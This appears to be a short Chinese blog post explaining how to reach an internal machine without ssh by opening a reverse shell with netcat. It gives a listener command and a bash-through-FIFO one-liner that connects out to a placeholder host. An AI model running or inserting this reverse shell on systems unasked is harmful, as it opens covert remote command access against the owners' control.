使用nc进行shell反向连接

内网机器无法使用ssh登录时,可以使用shell反向连接(shell反弹)达到登录的目的。

实现方式之一就是利用nc命令

服务端

# nc -l 6000

客户端

1.使用nc 连接到服务端

nc host 6000

2.将服务端发送的命令作为shell的输入

3.将shell的输出作为nc的输入

步骤2和3好像循环了,可以使用FIFO解决

nc->FIFO->shell->nc

#mkfifo /tmp/fifo
#cat /tmp/fifo | bash -i 2>&1 | nc host 6000 > /tmp/fifo
posted @ 2020-10-28 21:48  soso101  阅读(1580)  评论(0)    收藏  举报